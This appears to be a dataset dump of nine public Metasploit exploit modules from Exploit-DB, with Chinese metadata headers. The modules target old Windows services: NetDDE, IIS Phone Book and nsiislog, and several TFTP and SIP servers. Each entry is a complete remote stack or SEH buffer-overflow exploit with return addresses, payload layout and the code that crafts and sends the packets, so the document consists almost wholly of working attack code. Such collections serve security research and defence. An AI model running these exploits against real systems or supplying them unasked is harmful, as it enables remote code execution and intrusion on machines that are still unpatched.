QLWD/code_shield huggingface dataset:
标题: Microsoft NetDDE Service - Remote Overflow (MS04-031) (Metasploit) EDB-ID: 16371 CVE: 2004-0206 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-03 漏洞利用脚本: ##
# $Id: ms04_031_netdde.rb 9669 2010-07-03 03:13:45Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::DCERPC
 include Msf::Exploit::Remote::SMB

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft NetDDE Service Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the NetDDE service, which is the
    precursor to the DCOM interface.  This exploit effects only operating systems
    released prior to Windows XP SP1 (2000 SP4, XP SP0). Despite Microsoft's claim
    that this vulnerability can be exploited without authentication, the NDDEAPI
    pipe is only accessible after successful authentication.
   },
   'Author'         => [ 'pusscat' ],
   'License'        => BSD_LICENSE,
   'Version'        => '$Revision: 9669 $',
   'References'     =>
    [
     [ 'CVE', '2004-0206'],
     [ 'OSVDB', '10689'],
     [ 'BID', '11372'],
     [ 'MSB', 'MS04-031'],

    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread'
    },
   'Payload'        =>
    {
     'Space'    => (0x600 - (133*4) - 4),
     'BadChars' => "\\/.:$\x00",       # \ / . : $ NULL
     'Prepend'  => 'A' * 8,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows 2000 SP4', { 'Ret' => 0x77e56f43 } ],  # push esp, ret :)
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 12 2004'))

  register_options(
   [
    OptString.new('SMBPIPE', [ true,  "The pipe name to use (nddeapi)", 'nddeapi']),
   ], self.class)
 end

 def exploit
  connect()
  smb_login()
  print_status("Trying target #{target.name}...")

  handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
  print_status("Binding to #{handle}")
  dcerpc_bind(handle)
  print_status("Bound to #{handle}")

  retOverWrite =
   'AA' + (NDR.long(target.ret) * 133) + payload.encoded

  overflowChunk =
   retOverWrite +
   NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
   NDR.long(0x0)

  stubdata =
   NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
   NDR.long(rand(0xFFFFFFFF))

  print_status('Calling the vulnerable function...')

  begin
   response = dcerpc.call(0xc, stubdata)
  rescue Rex::Proto::DCERPC::Exceptions::NoResponse
  end

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16371
标题: Microsoft IIS - Phone Book Service Overflow (MS00-094) (Metasploit) EDB-ID: 16357 CVE: 2000-1089 类型: REMOTE 平台: WINDOWS 发布日期: 2010-04-30 漏洞利用脚本: ##
# $Id: ms00_094_pbserver.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS Phone Book Service Overflow',
   'Description'    => %q{
     This is an exploit for the Phone Book Service /pbserver/pbserver.dll
    described in MS00-094. By sending an overly long URL argument
    for phone book updates, it is possible to overwrite the stack. This
    module has only been tested against Windows 2000 SP1.
   },
   'Author'         => [ 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9179 $',
   'References'     =>
    [
     [ 'CVE', '2000-1089' ],
     [ 'OSVDB', '463' ],
     [ 'BID', '2048' ],
     [ 'MSB', 'MS00-094' ],
    ],
   'Privileged'     => false,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 896,
     'BadChars' => "\x00\x0a\x0d\x20%&=?",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows 2000 SP1', { 'Ret' => 0x77e8898b }], # jmp esp kernel32.dll
     ['Windows 2000 SP0', { 'Ret' => 0x77ea162b }], # call esp kernel32.dll
     ['Windows NT SP6', { 'Ret' => 0x77f32836 }], # jmp esp kernel32.dll
    ],
   'DisclosureDate' => 'Dec 04 2000',
   'DefaultTarget' => 0))

  register_options(
   [
    OptString.new('URL', [ true,  "The path to pbserver.dll", "/pbserver/pbserver.dll" ]),
   ], self.class)
 end

 def check
  print_status("Requesting the vulnerable ISAPI path...")
  res = send_request_raw({
   'uri' => datastore['URL']
  }, 5)

  if (res and res.code == 400)
   return Exploit::CheckCode::Vulnerable
  end
  return Exploit::CheckCode::Safe
 end

 def exploit

  print_status("Sending overflow...")

  res = send_request_raw({
   'uri' => datastore['URL'] + '?&&&&&&pb=' + payload.encoded + [target['Ret']].pack('V') + make_nops(8) + Rex::Arch::X86.jmp(-912)
  }, 5)

  handler

 end

end URL: https://www.exploit-db.com/exploits/16357
标题: SIPfoundry sipXezPhone 0.35a - CSeq Field Overflow (Metasploit) EDB-ID: 16351 CVE: 2006-3524 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: sipxezphone_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'SIPfoundry sipXezPhone 0.35a CSeq Field Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in SIPfoundry's
    sipXezPhone version 0.35a. By sending an long CSeq header,
    a remote attacker could overflow a buffer and execute
    arbitrary code on the system with the privileges of
    the affected application.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     ['CVE', '2006-3524'],
     ['OSVDB', '27122'],
     ['BID', '18906'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a\x20\x09\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',

   'Targets'        =>
    [
     ['sipXezPhone 0.35a Universal', { 'Ret' => 0x1008e853 } ],
    ],

   'Privileged'     => false,

   'DisclosureDate' => 'Jul 10 2006',

   'DefaultTarget' => 0))

  register_options(
   [
    Opt::RPORT(5060)
   ], self.class)
 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  user   = rand_text_english(2, payload_badchars)
  port   = rand(65535).to_s
  filler = rand_text_english(260, payload_badchars)
  seh    = generate_seh_payload(target.ret)
  filler[252, seh.length] = seh

  sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
  sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
  sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
  sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
  sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
  sploit  <<  "CSeq: " + filler + "\r\n"
  sploit  <<  "Max-Forwards: 20" +  "\r\n"
  sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

  udp_sock.put(sploit)

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16351
标题: TFTPD32 < 2.21 - 'Filename' Remote Buffer Overflow (Metasploit) EDB-ID: 16349 CVE: 2002-2226 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: tftpd32_long_filename.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'TFTPD32 <= 2.21 Long Filename Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in TFTPD32 version 2.21
    and prior. By sending a request for an overly long file name
    to the tftpd32 server, a remote attacker could overflow a buffer and
    execute arbitrary code on the system.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     ['CVE', '2002-2226'],
     ['OSVDB', '45903'],
     ['BID', '6199'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 250,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows NT 4.0 SP6a English',    { 'Ret' => 0x77f9d463} ],
     ['Windows 2000 Pro SP4 English',   { 'Ret' => 0x7c2ec663} ],
     ['Windows XP Pro SP0 English',     { 'Ret' => 0x77dc0df0} ],
     ['Windows XP Pro SP1 English',     { 'Ret' => 0x77dc5527} ],
    ],
   'Privileged'     => true,
   'DisclosureDate' => 'Nov 19 2002'
   ))

  register_options(
   [
    Opt::RPORT(69)
   ], self)
 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  sploit =
   "\x00\x01" +
   rand_text_english(120, payload_badchars) +
   "." +
   rand_text_english(135, payload_badchars) +
   [target.ret].pack('V') +
   payload.encoded +
   "\x00"

  udp_sock.put(sploit)

  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16349
标题: Microsoft IIS - ISAPI 'nsiislog.dll' ISAPI POST Overflow (MS03-022) (Metasploit) EDB-ID: 16355 CVE: 2003-0349 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-25 漏洞利用脚本: ##
# $Id: ms03_022_nsiislog_post.rb 9929 2010-07-25 21:37:54Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::BruteTargets
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
   'Description'    => %q{
     This exploits a buffer overflow found in the nsiislog.dll
    ISAPI filter that comes with Windows Media Server. This
    module will also work against the 'patched' MS03-019
    version. This vulnerability was addressed by MS03-022.
   },
   'Author'         => [ 'hdm' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 9929 $',
   'References'     =>
    [
     [ 'CVE', '2003-0349'],
     [ 'OSVDB', '4535'],
     [ 'BID', '8035'],
     [ 'MSB', 'MS03-022'],
     [ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
     'StackAdjustment' => -3500,

    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # SEH offsets by version (Windows 2000)
     # 4.1.0.3917 =  9992
     # 4.1.0.3920 =  9992
     # 4.1.0.3927 =  9992
     # 4.1.0.3931 = 14092

     ['Brute Force',            { }],
     ['Windows 2000 -MS03-019', { 'Rets' => [  9988, 0x40f01333 ] }],
     ['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
     ['Windows XP   -MS03-019', { 'Rets' => [  9992, 0x40f011e0 ] }],
    ],
   'DisclosureDate' => 'Jun 25 2003',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URL', [ true,  "The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
   ], self.class)
 end

 def check
  res = send_request_raw({
   'uri' => datastore['URL']
  }, -1)

  if (res and res.body =~ /NetShow ISAPI/)
   return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
 end

 def exploit_target(target)

  # Create a buffer greater than max SEH offset (16384)
  pst = rand_text_alphanumeric(256) * 64

  # Create SEH frame and insert into buffer
  seh = generate_seh_payload(target['Rets'][1])
  pst[target['Rets'][0], seh.length] = seh

  # Send it to the server
  print_status("Sending request...")
  res = send_request_cgi({
   'uri'          => datastore['URL'],
   'method'       => 'POST',
   'user-agent'   => 'NSPlayer/2.0',
   'content-type' => 'application/x-www-form-urlencoded',
   'data'         => pst
  }, 5)

  select(nil,nil,nil,1)

  handler
  disconnect
 end

end URL: https://www.exploit-db.com/exploits/16355
标题: AIM Triton 1.0.4 - CSeq Buffer Overflow (Metasploit) EDB-ID: 16353 CVE: 2006-3524 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: aim_triton_cseq.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'AIM Triton 1.0.4 CSeq Buffer Overflow',
   'Description'    => %q{
     This module exploits a buffer overflow in AOL\'s AIM
    Triton 1.0.4. By sending an overly long CSeq value,
    a remote attacker could overflow a buffer and execute
    arbitrary code on the system with the privileges of
    the affected application.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     ['CVE', '2006-3524'],
     ['OSVDB', '27122' ],
     ['BID', '18906'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'seh',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00\x0a\x20\x09\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'AIM Triton 1.0.4 Universal', { 'Ret' => 0x4017b3d9 } ], # coolcore45.dll
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Jul 10 2006',
   'DefaultTarget'  => 0))

  register_options(
   [
    Opt::RPORT(5061)
   ], self.class)
 end

 def exploit
  connect_udp

  user   = rand_text_english(2, payload_badchars)
  port   = rand(65535).to_s
  filler = rand_text_english(792, payload_badchars)
  seh    = generate_seh_payload(target.ret)
  filler[780, seh.length] = seh

  sploit  =   "INVITE sip:#{user}\@127.0.0.1 SIP/2.0" + "\r\n"
  sploit  <<  "To: <sip:#{rhost}:#{rport}>" + "\r\n"
  sploit  <<  "Via: SIP/2.0/UDP #{rhost}:#{port}" + "\r\n"
  sploit  <<  "From: \"#{user}\"<sip:#{rhost}:#{port}>" + "\r\n"
  sploit  <<  "Call-ID: #{(rand(100)+100)}#{rhost}" + "\r\n"
  sploit  <<  "CSeq: " + filler + "\r\n"
  sploit  <<  "Max-Forwards: 20" +  "\r\n"
  sploit  <<  "Contact: <sip:127.0.0.1:#{port}>" + "\r\n\r\n"

  print_status("Trying target #{target.name}...")

  udp_sock.put(sploit)

  handler
  disconnect_udp

 end

end URL: https://www.exploit-db.com/exploits/16353
标题: 3Com TFTP Service (3CTftpSvc) - 'Mode' Remote Buffer Overflow (Metasploit) EDB-ID: 16347 CVE: 2006-6183 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => '3CTftpSvc TFTP Long Mode Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
    sending a specially crafted packet with an overly long mode
    field, a remote attacker could overflow a buffer and execute
    arbitrary code on the system.
   },
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     ['CVE', '2006-6183'],
     ['OSVDB', '30758'],
     ['BID', '21301'],
     ['URL', 'http://secunia.com/advisories/23113/'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 400,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ '3CTftpSvc 2.0.1',   { 'Ret' => 0x00402b02 } ],
    ],
   'Privileged'     => true,
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Nov 27 2006'))

  register_options([Opt::RPORT(69)], self.class)
 end

 def exploit
  connect_udp

  sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
  sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"

  print_status("Trying target #{target.name}...")

  udp_sock.put(sploit)

  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16347
标题: Quick TFTP Server Pro 2.1 - Transfer-Mode Overflow (Metasploit) EDB-ID: 16348 CVE: 2008-1610 类型: REMOTE 平台: WINDOWS 发布日期: 2010-06-15 漏洞利用脚本: ##
# $Id: quick_tftp_pro_mode.rb 9525 2010-06-15 07:18:08Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::Udp
 include Msf::Exploit::Remote::Seh

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Quick FTP Pro 2.1 Transfer-Mode Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the Quick TFTP Pro server
    product. MS Update KB926436 screws up the opcode address being used in oledlg.dll resulting
    in a DoS.  This is a port of a sploit by Mati "muts" Aharoni.
   },
   'Author'         => 'Saint Patrick',
   'Version'        => '$Revision: 9525 $',
   'References'     =>
    [
     ['CVE', '2008-1610'],
     ['OSVDB', '43784'],
     ['BID', '28459'],
     ['URL', 'http://secunia.com/advisories/29494'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 460,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     ['Windows Server 2000', { 'Ret' => 0x75022AC4} ], #ws2help.dll
     ['Windows XP SP2', {'Ret' => 0x74D31458} ],       #oledlg.dll
    ],
   'DefaultTarget'  => 1,
   'DisclosureDate' => 'Mar 27 2008'))

  register_options(
   [
    Opt::RPORT(69)
   ], self.class)

 end

 def exploit
  connect_udp

  print_status("Trying target #{target.name}...")

  sploit  = "\x00\x02" + rand_text_english(4, payload_badchars) + "\x00"
  sploit += "A"*1019
  seh  = generate_seh_payload(target.ret)
  sploit +=seh
  sploit += "\x00"

  udp_sock.put(sploit)
  print_status("Done.")

  handler
  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16348
标题: Allied Telesyn TFTP (AT-TFTP) Server/Daemon 1.9 - Long Filename Overflow (Metasploit) EDB-ID: 16350 CVE: 2006-6184 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-05 漏洞利用脚本: ##
# $Id: attftp_long_filename.rb 11882 2011-03-05 21:00:57Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Udp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Allied Telesyn TFTP Server 1.9 Long Filename Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in AT-TFTP v1.9, by sending a
    request (get/write) for an overly long file name.
   },
   'Author'         => [ 'Patrick Webster <patrick[at]aushack.com>' ],
   'Version'        => '$Revision: 11882 $',
   'References'     =>
    [
     ['CVE', '2006-6184'],
     ['OSVDB', '11350'],
     ['BID', '21320'],
     ['URL','http://milw0rm.com/exploits/2887'],
     ['URL', 'ftp://guest:guest@ftp.alliedtelesyn.co.uk/pub/utilities/at-tftpd.exe'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 210,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
    # Patrick - Tested OK w2k sp0, sp4, xp sp 0, xp sp2 - en 2007/08/24
     [ 'Windows NT SP4 English',   { 'Ret' => 0x702ea6f7 } ],
     [ 'Windows 2000 SP0 English', { 'Ret' => 0x750362c3 } ],
     [ 'Windows 2000 SP1 English', { 'Ret' => 0x75031d85 } ],
     [ 'Windows 2000 SP2 English', { 'Ret' => 0x7503431b } ],
     [ 'Windows 2000 SP3 English', { 'Ret' => 0x74fe1c5a } ],
     [ 'Windows 2000 SP4 English', { 'Ret' => 0x75031dce } ],
     [ 'Windows XP SP0/1 English', { 'Ret' => 0x71ab7bfb } ],
     [ 'Windows XP SP2 English',   { 'Ret' => 0x71ab9372 } ],
     [ 'Windows Server 2003',      { 'Ret' => 0x7c86fed3 } ], # ret donated by securityxxxpert
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 27 2006'))

  register_options(
   [
    Opt::RPORT(69),
    Opt::LHOST() # Required for stack offset
   ], self.class)
 end

 def exploit
  connect_udp

  sploit = "\x00\x02" + make_nops(25 - datastore['LHOST'].length)
  sploit << payload.encoded
  sploit << [target['Ret']].pack('V')  # <-- eip = jmp esp. we control it.
  sploit << "\x83\xc4\x28\xc3"   # <-- esp = add esp 0x28 + retn
  sploit << "\x00" + "netascii" + "\x00"

  udp_sock.put(sploit)

  disconnect_udp
 end

end URL: https://www.exploit-db.com/exploits/16350